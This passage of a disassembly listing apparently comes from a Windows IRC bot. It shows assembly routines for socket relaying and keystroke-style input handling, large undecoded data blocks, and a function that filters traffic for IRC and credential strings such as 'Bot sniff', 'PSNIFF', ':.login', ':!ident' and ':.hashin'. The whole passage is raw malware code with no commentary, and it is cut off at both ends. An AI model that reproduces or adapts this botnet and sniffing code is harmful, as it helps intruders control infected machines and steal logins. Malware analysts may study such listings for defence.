eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, dword_427094 call esi cmp eax, 6Dh jz short loc_411AA6 call esi push eax push offset dword_435684 call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9EC test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; --------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx nop call near ptr 27D00EEh jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2740000h test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; --------------------------------------------------------------------------- word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h dd 28E9D0E8h, 4D8B9002h, 34C969C8h, 3B000002h, 248189C6h dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0E93DE890h dd 0EDEB0228h, 0E913E890h, 8D500229h, 0FFFD2C85h, 56F468FFh dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h dd 59FFFF99h, 0E8905659h, 22FE230h, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh dd 0FFFF988Ah, 0E8905359h, 22FE1ACh, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 0E85359FFh, 22FE17Ch dd 30BD8090h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h dd 59FFFF97h, 0E0E6E853h, 6A90022Fh, 0E8458D10h, 49E85053h dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h, 8D022FE0h dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h dd 5359FFFFh, 0DFDEE890h, 68022Fh, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 81E89053h dd 0FF022FDFh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h dd 69E89053h db 0DFh, 2Fh, 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: ___:0041215Cj ; ___:0041218Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4120C5: ; CODE XREF: ___:004120D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: ___:004120CAj cmp ecx, 1 jnz short loc_4120EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120EA: ; CODE XREF: ___:004120D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB9BC lea eax, [ebp-104h] push eax push ebx call dword_4CB8C0 test eax, eax jz short loc_41214A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: ___:0041211Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB8C0 test eax, eax jz loc_4120AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: ___:00412131j ; ___:00412148j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o ; sub_40BD91+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 228E49Fh dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h dd 94A8E8FFh, 5959FFFFh, 0DDCAE853h, 8D90022Fh, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h dd 83004CBAh, 1975FFF8h, 138868h, 0D8E89000h, 0FF0228E3h dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 28E3A6E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h dd 1CC483FFh, 0D9E89053h, 8B022FDCh, 9F39087Dh, 2A0h, 27D840Fh dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh, 5E445C7h dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h dd 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h, 0FFF78485h dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh, 88A00000h dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh dd 10F445h, 0ABF30000h, 8DAAAB66h, 8D50F445h, 5350C445h dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h, 0FFFF31BDh dd 850F01FFh, 0A3h, 0FD94858Dh, 0E850FFFFh, 95C0h, 75FF5353h dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh, 0FFFA889Dh dd 8985C6FFh, 3FFFFFAh, 20068h, 50016A00h, 0FA8A9D88h dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh, 5650FFFFh dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h, 38A7E8h dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h dd 0E8FFFFFEh, 0FFFF90FAh, 0E8905359h, 22FDA1Ch, 3E868h dd 9CE89000h, 570228E0h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41266C push esi mov esi, offset dword_435848 loc_412614: ; CODE XREF: ___:00412667j push esi push dword ptr [ebp+0Ch] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_436BB4 push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: ___:00412621j add esi, 80h cmp esi, offset dword_436448 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: ___:0041260Cj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: ___:0041266Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h dd 86A0000h, 28DF82E8h, 15FF9002h, 4CB958h, 0FF8453Bh dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh dd 90006A59h, 2FD49FE8h db 2 byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h dd 565959FFh, 0D3CAE890h, 458B022Fh, 69106AD0h, 234C0h dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0D346E856h dd 5690022Fh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h dd 5659FFFFh, 2FD2C3E8h, 0BB539002h, 436C58h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2FD123E8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE734, eax mov eax, offset dword_4CE734 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: ___:off_43ACE0o push offset a302_0 ; "302 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_1 ; ":!login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login ; ":.Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset 